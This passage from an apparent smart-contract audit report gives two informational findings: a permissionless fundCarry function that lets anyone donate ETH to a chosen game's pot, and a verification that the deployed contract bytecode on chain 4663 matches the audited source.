### 7. Info: PvPPad.fundCarry is permissionless, so AUDIT.md's 'nobody can donate to a pot' is inaccurate: a donor can route ETH into a chosen game's funded pot by timing its draw

`src/PvPPad.sol:161`

```
    function fundCarry() external payable {
```

AUDIT.md's Privileges table says PvPPad is the only caller of PadGame.fundPot and that nobody can donate to a pot. fundPot is pad-only, but PvPPad.fundCarry() is payable and unguarded, and the whole carry pot moves into the next game whose raffle completes with >= 5 seats (takeCarry). Any address can therefore inject ETH into a specific game's funded pot by calling fundCarry right before completing that game's draw with draw(n). Fund safety is preserved: the ETH is tracked as fundedPot, released only under min(3x roll pot, 15% of curve ETH) with >= 5 living Imps, and the rest returns to carry; the AUDIT #13 sybil derivation (dump recovers 0.99e(1+e)/(1.99+0.99e) of e, so at least e/5.95 stays in the pool for e <= 4 ETH, above the 15% release) was re-derived and still makes self-funding a net loss. Documentation gap only; v3 could restrict fundCarry to games and the king contract. Merged: audit_flow 8458ff7b (sole reporter).

**Reproduction**

Input: any EOA calls PvPPad.fundCarry{value: 1 ether}(): no access check, no revert, carryPot == 1 ether, event CarryFunded(eoa, 1 ether) (exercised by test/scratch/JudgeLows.t.sol which calls pad.fundCarry from the test contract). The EOA then completes a chosen game's draw with draw(32); _draw calls takeCarry and the ETH lands in that game's fundedPot. Expected per AUDIT.md: no outside party can donate to a pot. Actual: the donation is in the pot.

### 8. Info: Deployed runtime bytecode of all five contracts matches this source and the one-shot binders point at the intended addresses; the live PoolManager is not the vendored build and its dynamic behaviour r

`src/PvPPad.sol:73`

```
    function bindLiquidity() external {
```

Judge verification over https://4663.rpc.thirdweb.com (chainId 0x1237) on 2026-10-14: eth_getCode at PvPPad 0x8011..22a1 (11687 bytes), PadGame 0x6365..ffb6 (18070), PadToken 0xd26a..50cf (3210), PadLiquidity 0x6555..1881 (12893) and KingOfThePad 0x7b9c..146a (3180) is byte-identical to `forge build` deployedBytecode of this tree after masking immutableReferences, and the immutables read back as PvPPad(owner 0x5b95..0d06, tokenTemplate 0xd26a..50cf, gameTemplate 0x6365..ffb6, deployedAt 0x6acf62f3), PadLiquidity(poolManager 0x8366..0951, pad 0x8011..22a1), KingOfThePad(pad 0x8011..22a1, liquidity 0x6555..1881, dev 0x5b95..0d06). State: PvPPad.liquidity == 0x6555..1881, PvPPad.king == 0x7b9c..146a, PadLiquidity.king == 0x7b9c..146a, opened == false, hook == 0, launchCount == 0, carryPot == 0, burnBucket == 0. So the one-shot binders (AUDIT #19) are consumed by the intended contracts and the pad is still closed; the clone-impersonation path of #27 touches no protocol funds because graduate/upkeepFor/takeCarry/noteFirstEntry check the pad's registries. PoolManager 0x8366..0951: 24009 bytes of code containing the selectors of unlock, initialize, modifyLiquidity, swap, sync, settle, take, donate and extsload; owner() == extsload(0) == 0x2BAD..46CD, consistent with the v4 layout the contracts hardcode (POOLS_SLOT 6 was cross-checked against a live Swap event by audit_permissions 86cfbd5d). The code is not bit-identical to the vendored v4.0.0 artifact (17098 bytes under this repo's compiler settings), so rounding of modifyLiquidity amounts, native settle and the full graduation path were only exercised against the vendored copy; a graduation rehearsal on a fork of chain 4663 before openPad remains the only way to rule out a live-manager difference. No defect; recorded so the verdict rests on verified code. Merged: audit_economics 86baa979, audit_flow 6e94a25b (both 'not performed'), audit_permissions b7223709 and 86cfbd5d, audit_math 590ac188 (performed; same result as here).

**Reproduction**

For each address: eth_getCode via JSON-RPC, zero the ranges listed in out/<Name>.sol/<Name>.json deployedBytecode.immutableReferences in both the local and the chain bytes, compare; all five equal. cast call <PvPPad> 'liquidity()(address)' / 'king()(address)' / 'opened()(bool)'; cast call <PadLiquidity> 'king()(address)' 'poolManager()(address)'; cast call 0x8366a39cc670b4001a1121b8f6a443a643e40951 'owner()(address)'.

---

Judge's submission `d983549554b13f61d8fbe5d552358316a3febf91fbc4a61a33ccf908dd386d80`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
